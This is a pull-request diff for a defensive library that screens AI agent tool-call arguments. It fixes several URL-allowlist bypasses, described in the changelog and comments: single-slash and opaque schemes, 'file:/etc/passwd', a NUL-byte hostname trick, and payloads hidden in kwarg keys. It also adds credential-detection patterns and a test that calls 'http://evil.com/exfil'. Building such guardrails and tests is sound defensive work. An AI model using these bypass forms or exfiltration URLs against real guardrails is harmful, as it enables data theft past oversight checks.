Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
7 changes: 7 additions & 0 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
Expand Up @@ -14,6 +14,13 @@ All notable changes to this project are documented here.
- feat: `ModelFuzzBlockError` exposes `.category`, `.rule_name` and `.violation`, so an agent loop can branch on *why* a call was blocked instead of regex-matching the reason text — a block is a policy decision, not an infrastructure failure, and the two want different handling. `str(exc)` is unchanged
- feat: blocks are logged with an additional `modelfuzz_category` structured field
- docs: add "Branching on why a call was blocked" and "Guarding shell commands" README sections, record both shell rules' limits in Limitations, and extend `AGENTS.md` with the shell rules and the rule that recovery logic keys on `.category`, never on `.reason`
- security: `URLAllowList` decided "is this a URL?" with `"://" in url`, which is true only of the authority-bearing spelling. Every other form a real client resolves was classified "not a URL" and allowed: `http:/evil.com` (one slash), `file:/etc/passwd`, `data:`, `javascript:`, and protocol-relative `//evil.com`. Detection is now based on the parsed scheme, and the scheme allowlist is evaluated before an authority is required — previously an empty netloc returned early, so the scheme check never ran for these forms
- security: `URLAllowList` now rejects hostnames containing characters outside the letter/digit/hyphen/dot set. `http://evil.com\x00.api.internal.com` satisfied the `.endswith()` subdomain match while `getaddrinfo` and curl truncate at the NUL and reach `evil.com`
- security: `URLAllowList` now walks `bytes`/`bytearray`. It was the only walker in the library without that branch, so a URL carried as bytes skipped every check in the rule — host allowlist, scheme allowlist, userinfo, and the fail-closed path — silently
- security: `@shield_tool` now checks keyword names that arrive through `**kwargs`. `_enforce` iterated `kwargs.values()` only, so for any tool declaring `**params` the whole payload could travel in the key. Names declared in the signature are deliberately not checked — they are chosen by the tool author, and checking them would make the bundled `SensitiveDataFilter` block any tool with a `password` parameter
- security: fix quadratic backtracking in the `SecretPatternFilter` JWT pattern. A 1 MB argument of `eyJ-` repeats took ~140 s of CPU and was then *allowed*, so nothing was blocked and nothing logged. The leading `\b` made every `-eyJ` a fresh anchor; a lookbehind fixes it (1 MB now ~45 ms)
- fix: `SecretPatternFilter` missed every Google API key ending in `-`, because a trailing `\b` cannot fire after a non-word character. Slack coverage extended to `xapp-` (app-level) and `xoxe-` (rotating refresh) tokens, which mint fresh bot tokens
- fix: no `URLAllowList` block reason quotes the URL any more. Reasons reach a WARNING record and the exception text, so the userinfo reason was writing live basic-auth passwords into the audit log, and control characters in a rejected URL could forge log lines. Reasons now name the host or the scheme only — the invariant `SecretPatternFilter` already held

- feat: add `SecretPatternFilter`, a bundled policy that blocks tool-call arguments carrying a recognisable credential — Anthropic, OpenAI, Stripe, AWS, GitHub, Google and Slack key formats, JWTs, and PEM private-key headers. Where `SensitiveDataFilter` matches the *word* "password", this matches the *shape* of a real key, closing the gap where a live `sk-…` or `AKIA…` passed straight through the bundled default. Opt-in: the bare `@shield_tool` default is unchanged. Extend with `extra_patterns=` or replace the table with `patterns=`. Fixes #70
- fix: the block reason for a matched credential names the format only and never quotes the matched text — blocks are logged at `WARNING`, and a reason carrying the key would leak the very thing the rule exists to contain
Expand Down
34 changes: 33 additions & 1 deletion src/modelfuzz/decorator.py
Original file line number Diff line number Diff line change
Expand Up @@ -56,6 +56,38 @@ def decorator(func: Callable[P, R]) -> Callable[P, R]:
return decorator


@functools.cache
def _declared_parameters(func: Callable[..., object]) -> frozenset[str]:
"""Parameter names the tool author wrote in the signature.

Cached: the signature cannot change between calls, and introspecting it on
every invocation would put ``inspect`` on the hot path of every tool call.
"""
try:
return frozenset(inspect.signature(func).parameters)
except (TypeError, ValueError):
# Some builtins and C callables have no introspectable signature. Treat
# every key as undeclared, which checks more rather than less.
return frozenset()


def _undeclared_keys(func: Callable[..., object], kwargs: dict[str, Any]) -> list[str]:
"""Keyword names that arrived through ``**kwargs`` rather than the signature.

A tool declaring ``**params`` lets the caller choose the *names*, so for such
a tool the key is attacker-controlled data and has to be checked -- a URL or
a credential sitting in a key was reaching the body untouched, while the same
dict passed as a value was blocked.

Declared names are excluded on purpose. They are chosen by the tool author,
not the model, and checking them would make the bundled
``SensitiveDataFilter`` block any tool that simply has a parameter called
``password`` or ``api_key``.
"""
declared = _declared_parameters(func)
return [key for key in kwargs if key not in declared]


def _enforce(
func: Callable[..., object],
actual_engine: PolicyEngine,
Expand All @@ -69,7 +101,7 @@ def _enforce(
transport for MCP stdio servers, and a stray write there corrupts the
JSON-RPC stream.
"""
for arg in list(args) + list(kwargs.values()):
for arg in list(args) + list(kwargs.values()) + _undeclared_keys(func, kwargs):
result = actual_engine.run(arg)
if result.allowed:
continue
Expand Down
122 changes: 105 additions & 17 deletions src/modelfuzz/rules.py
Original file line number Diff line number Diff line change
Expand Up @@ -85,6 +85,67 @@ def _iter_strings(data: object, seen: set[int]) -> Iterator[str]:

DEFAULT_URL_SCHEMES = frozenset({"http", "https"})

# A scheme is a letter followed by at least one more scheme character. Requiring
# two rules out a Windows drive letter, so "C:\\Users\\bob" stays a path.
_SCHEME_PREFIX = re.compile(r"^[A-Za-z][A-Za-z0-9+.\-]+:")

# Legal hostname characters. Anything else -- NUL, space, tab, a control byte --
# means the string is not a hostname and must not be suffix-matched against the
# allowlist.
_HOSTNAME_CHARS = re.compile(r"[A-Za-z0-9.\-]+")

# Schemes whose payload is opaque rather than hierarchical: there is no "//" to
# key on, but a consumer still acts on them. Without these, "javascript:..." and
# "data:text/html,..." read as ordinary text.
_OPAQUE_ACTIONABLE_SCHEMES = frozenset(
{"data", "javascript", "vbscript", "mailto", "tel", "blob", "jar", "view-source"}
)


def _looks_like_url(value: str) -> bool:
"""Is this string claiming to be a URL?

The rule governs URLs only, so it must answer this before it can default-deny
-- and answering it wrong in the permissive direction is a silent bypass.

This used to test ``"://" in value``, which is true only of the
authority-bearing spelling. Every other form a real client resolves was
therefore classified "not a URL" and allowed: ``http:/evil.com`` (one slash,
which curl and the WHATWG parsers resolve to evil.com), ``file:/etc/passwd``,
``javascript:``, ``data:``, and protocol-relative ``//evil.com``.

A string qualifies when it carries no whitespace and either begins with the
protocol-relative ``//`` or opens with a scheme followed by a hierarchical
path or an opaque-but-actionable scheme. The whitespace and two-character
scheme requirements are what keep ordinary prose out: "Note: deploy failed"
has a space, "C:\\Users" has a one-letter scheme, and "key:value" is opaque
under an unknown scheme.
"""
if not value:
return False

# The original signal, kept exactly: an authority-bearing URL is a URL, even
# if it carries whitespace. Narrowing this would turn "http://evil.com/a b"
# -- blocked today -- into an allowed string.
if "://" in value:
return True

# Below here the form is ambiguous, so whitespace is what separates a URL
# from prose that happens to contain a colon.
if any(char.isspace() for char in value):
return False

if value.startswith("//"):
return True

match = _SCHEME_PREFIX.match(value)
if not match:
return False

remainder = value[match.end() :]
scheme = match.group()[:-1].lower()
return remainder.startswith("/") or scheme in _OPAQUE_ACTIONABLE_SCHEMES


class URLAllowList:
"""A policy that ensures URLs are on an allowlist and blocks parsing tricks.
Expand Down Expand Up @@ -132,6 +193,12 @@ def _check_recursive(self, data: object, seen: set[int]) -> Violation | None:
if isinstance(data, str):
return self._check_url(data)

# bytes are a URL carrier like any other. Omitting this branch made a
# bytes argument skip every check in this rule -- host allowlist, scheme
# allowlist, userinfo, and the fail-closed path -- silently.
if isinstance(data, (bytes, bytearray)):
return self._check_url(data.decode("utf-8", errors="ignore"))

if isinstance(data, (dict, list, tuple, set, frozenset)):
# Guard against self-referential containers, which a hand-built
# argument can contain even though JSON-derived ones cannot.
Expand All @@ -149,34 +216,48 @@ def _check_recursive(self, data: object, seen: set[int]) -> Violation | None:
return None

def _check_url(self, url: str) -> Violation | None:
# A string carrying a scheme separator is claiming to be a URL, so a
# parse failure from here on must fail closed rather than sail through.
looks_like_url = "://" in url
if not _looks_like_url(url):
return None

# From here the string is claiming to be a URL, so every failure below
# must fail closed rather than sail through as "not my business".
try:
parsed = urlparse(url)
except Exception:
return self._invalid(url) if looks_like_url else None

if not parsed.scheme or not parsed.netloc:
return self._invalid(url) if looks_like_url else None
return self._invalid()

if parsed.scheme.lower() not in self.allowed_schemes:
# The scheme is checked BEFORE the authority. An opaque or single-slash
# URL has no netloc, and testing that first is what let file:/etc/passwd
# and javascript:... escape the scheme allowlist entirely.
if parsed.scheme and parsed.scheme.lower() not in self.allowed_schemes:
return self._block(
f"URL scheme not allowed: {parsed.scheme}", CATEGORY_SCHEME_NOT_ALLOWED
)

# Block userinfo tricks (e.g., http://api.internal.com@evil.com)
if not parsed.netloc:
return self._invalid()

# Block userinfo tricks (e.g., http://api.internal.com@evil.com).
# The reason names no part of the URL: userinfo is where basic-auth
# credentials live, and this reason is written to the audit log.
if "@" in parsed.netloc:
return self._block(f"URL contains userinfo trick: {url}", CATEGORY_USERINFO_TRICK)
return self._block("URL contains userinfo trick", CATEGORY_USERINFO_TRICK)

try:
hostname = (parsed.hostname or "").rstrip(".")
except ValueError:
return self._invalid(url)
return self._invalid()

if not hostname:
return self._invalid(url)
return self._invalid()

# A hostname is letters, digits, hyphens and dots. Without this, a NUL,
# space or tab inside a label still satisfies the endswith() suffix
# match below -- "evil.com\x00.api.internal.com" reads as a subdomain of
# the allowlisted zone, while getaddrinfo and curl truncate at the NUL
# and connect to evil.com.
if not _HOSTNAME_CHARS.fullmatch(hostname):
return self._invalid()

# Check for exact match or valid subdomain
is_allowed = any(
Expand All @@ -194,8 +275,12 @@ def _block(reason: str, category: str) -> Violation:
return Violation(rule_name="URLAllowList", reason=reason, category=category)

@classmethod
def _invalid(cls, url: str) -> Violation:
return cls._block(f"Invalid URL: {url}", CATEGORY_INVALID_URL)
def _invalid(cls) -> Violation:
# Deliberately quotes nothing. The rejected string is attacker-supplied
# and this reason reaches a WARNING log and the exception message: a URL
# carries credentials in its userinfo and query string, and control
# characters in it can forge log lines.
return cls._block("Invalid URL", CATEGORY_INVALID_URL)


class SensitiveDataFilter:
Expand Down Expand Up @@ -257,9 +342,12 @@ def __call__(self, data: object) -> Violation | None:
("AWS access key ID", r"\b(?:AKIA|ASIA|ABIA|ACCA)[0-9A-Z]{16}\b"),
("GitHub fine-grained token", r"\bgithub_pat_[A-Za-z0-9_]{22,}"),
("GitHub token", r"\bgh[pousr]_[A-Za-z0-9]{36,}"),
("Google API key", r"\bAIza[0-9A-Za-z_-]{35}\b"),
("Slack token", r"\bxox[abprs]-[A-Za-z0-9-]{10,}"),
("JSON Web Token", r"\beyJ[A-Za-z0-9_-]{8,}\.eyJ[A-Za-z0-9_-]{8,}\.[A-Za-z0-9_-]+"),
("Google API key", r"\bAIza[0-9A-Za-z_-]{35}(?![0-9A-Za-z_-])"),
("Slack token", r"\b(?:xox[abprse]|xapp)-[A-Za-z0-9-]{10,}"),
(
"JSON Web Token",
r"(?<![A-Za-z0-9_-])eyJ[A-Za-z0-9_-]{8,}\.eyJ[A-Za-z0-9_-]{8,}\.[A-Za-z0-9_-]+",
),
("private key block", r"-----BEGIN (?:[A-Z0-9 ]+ )?PRIVATE KEY-----"),
)

Expand Down
75 changes: 75 additions & 0 deletions tests/test_decorator.py
Original file line number Diff line number Diff line change
Expand Up @@ -164,3 +164,78 @@ async def collect():

with pytest.raises(ModelFuzzBlockError):
asyncio.run(collect())


class TestUndeclaredKwargKeysAreChecked:
"""A tool declaring **kwargs lets the caller choose the key names.

_enforce iterated kwargs.values() only, so for any tool with a **kwargs
parameter the entire payload could be smuggled in the key -- and JSON
permits arbitrary keys, so a model can emit one. The same dict passed as a
*value* was blocked, which is what made the gap invisible.
"""

def test_a_url_in_an_undeclared_kwarg_key_is_blocked(self):
from modelfuzz import ModelFuzzBlockError, PolicyEngine, URLAllowList, shield_tool

engine = PolicyEngine([URLAllowList(allowed_domains=["api.internal.com"])])
ran = []

@shield_tool(engine=engine)
def http_get(**params: object) -> str:
ran.append(params)
return "ran"

with pytest.raises(ModelFuzzBlockError):
http_get(**{"http://evil.com/exfil?d=1": "x"})
assert ran == []

def test_a_credential_in_an_undeclared_kwarg_key_is_blocked(self):
from modelfuzz import ModelFuzzBlockError, PolicyEngine, SecretPatternFilter, shield_tool

engine = PolicyEngine([SecretPatternFilter()])

@shield_tool(engine=engine)
def db_query(table: str, **filters: object) -> str:
return "ran"

with pytest.raises(ModelFuzzBlockError):
db_query("users", **{"AKIA" + "IOSFODNN7EXAMPLE": 1})

def test_declared_parameter_names_are_not_checked(self):
"""The tool author picks these, not the model.

Checking them would make the bundled SensitiveDataFilter block any tool
that merely has a parameter called `password` or `api_key`.
"""
from modelfuzz import shield_tool

@shield_tool()
def login(password: str = "", api_key: str = "") -> str:
return "ran"

assert login(password="x", api_key="y") == "ran"

def test_ordinary_undeclared_keys_still_pass(self):
from modelfuzz import PolicyEngine, URLAllowList, shield_tool

engine = PolicyEngine([URLAllowList(allowed_domains=["api.internal.com"])])

@shield_tool(engine=engine)
def http_get(**params: object) -> str:
return "ran"

assert http_get(limit=10, order="asc") == "ran"

def test_values_are_still_checked(self):
"""The pre-existing behaviour must be untouched."""
from modelfuzz import ModelFuzzBlockError, PolicyEngine, URLAllowList, shield_tool

engine = PolicyEngine([URLAllowList(allowed_domains=["api.internal.com"])])

@shield_tool(engine=engine)
def http_get(**params: object) -> str:
return "ran"

with pytest.raises(ModelFuzzBlockError):
http_get(callback="http://evil.com")
Loading
Loading